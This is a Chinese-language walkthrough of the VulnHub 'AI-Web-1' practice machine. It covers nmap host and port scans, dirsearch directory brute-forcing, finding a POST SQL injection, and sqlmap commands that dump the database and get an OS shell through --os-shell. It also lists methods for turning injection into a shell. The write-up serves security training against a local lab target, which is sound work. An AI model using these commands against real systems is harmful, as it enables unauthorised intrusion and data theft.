AI-Web-1 靶场  

下载链接：https://www.vulnhub.com/entry/ai-web-1,353/

             

下载完成

创个文件夹放进去解压

虚拟机搭建环境  

点击文件-》打开-》找到你解压的文件打开  

开机  

什么什么登陆创建完成

寻找靶机ip地址  

一样的，环境搭好了，但是啥也没有，先找他的ip

点击你的靶场虚拟机-》右键-》设置-》网络适配器-》网络连接

（查看当前虚拟机的网络模式，这里是NAT模式）

然后点击高级-》有个MAC地址，记下来 待会儿有用

知道了该靶场网络模式为NAT模式还知道了 MAC地址

点击你VMware导航栏的编辑-》虚拟网络编辑器-》点击更改设置

选择NAT模式，下方有个该模式下自动分配的ip地址段

（靶机的网络模式也是NAT，所以靶机的ip地址，就是该网段中的一个）

开启kali 网络模式设置为NAT模式，确保kali和靶机在同一个网段可以通信

namp扫描整个网段，探测存活的主机（目的是为了找到靶机ip）

nmap 192.168.3.0/24//扫描整个网段            

扫描出来的结果不止一个，这个时候之前保存的MAC地址，就有用了，用来对比找出靶机ip

找出ip，继续扫端口，查看开放了那些服务

nmap 192.168.3.130 -p-//全端口扫描            

开放了一个80端口，本机浏览器访问看看  

啥也没有，扫描目录。顺带看看robots.txt文件能不能访问

有东西，得到俩子目录，拼接访问看看

艹，******

             

看看目录扫描，扫出来了什么

dirsearch -u "http://192.168.3.130"            

emmm，我直呼好家伙，这不是相当于还是啥也没有

等等

把刚才得到的二级目录挂上去，再梭一口

dirsearch -u "http://192.168.3.130/m3diNf0/"            

有个info.php访问看看

再换个目录梭

dirsearch -u "http://192.168.3.130/se3reTdir777/uploads/"            
别看了，没扫出来            
           
退一级目录，再扫            
dirsearch -u "192.168.3.130/se3reTdir777/"            

然后，还真别说，扫出来了，访问

然后。。。

             

啊？什么情况？

然后开始百度找教程，以及别人的复现过程。（不是，他们怎么没有这一步？经过我的不懈努力，没找到）

（还得问问大佬，去问老师。好像是虚拟机环境错了，卸载重装靶机环境）

我把靶机环境移除，在重新打开，页面出来了。。。

继续继续  

提交id 获取信息 提交一个1，

更改id值为2提交，返回的内容也变了，也就是说id值被带入执行了

试试提交1'，页面报错。存在SQL注入

提交的参数不在URL中，post提交方式，抓包看看

SQLmap工具梭哈  

sqlmap -u "http://192.168.3.130/se3reTdir777/index.php#" -data "uid=1&Operation=Submit" --dbs            
           
解释一下：-u 指定一个url目标 、-data 通过post方式发送数据字符串 、--dbs 列出数据库            

查看aiweb1数据库下的表

sqlmap -u "http://192.168.3.130/se3reTdir777/index.php#" -data "uid=1&Operation=Submit" -D aiweb1 --tables            

查看指定表下的数据

sqlmap -u "http://192.168.3.130/se3reTdir777/index.php#" -data "uid=1&Operation=Submit" -D aiweb1 -T user --dump            

得到数据，但都不是靶机的登录信息

还记的之前出现的phpinfo页面吗？页面中暴露了网站的绝对路径，那我们就可以利用sqlmap拿shell

SQL注入拿shell的方式  

1.unselect + into outfile            
2.SQLmap（--os-shell）            
3.日志写入            
4.堆叠写入            
等            

查看网站的绝对路径  

参数 --os-shell  

sqlmap -u "http://192.168.3.130/se3reTdir777/index.php#" -data "uid=1&Operation=Submit" --level=3 --os-shell            
level指定数据库为mysql，级别为3            

可还记得这个

显示中有一个什么什么uploads，一个文件上传的目录

和我们获得的网站绝对路径拼接一下

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/            
           
用此绝对路径配合SQLmap，getshell            

原文始发于微信公众号（小白摸坑学网安）：AI-Web-1 靶场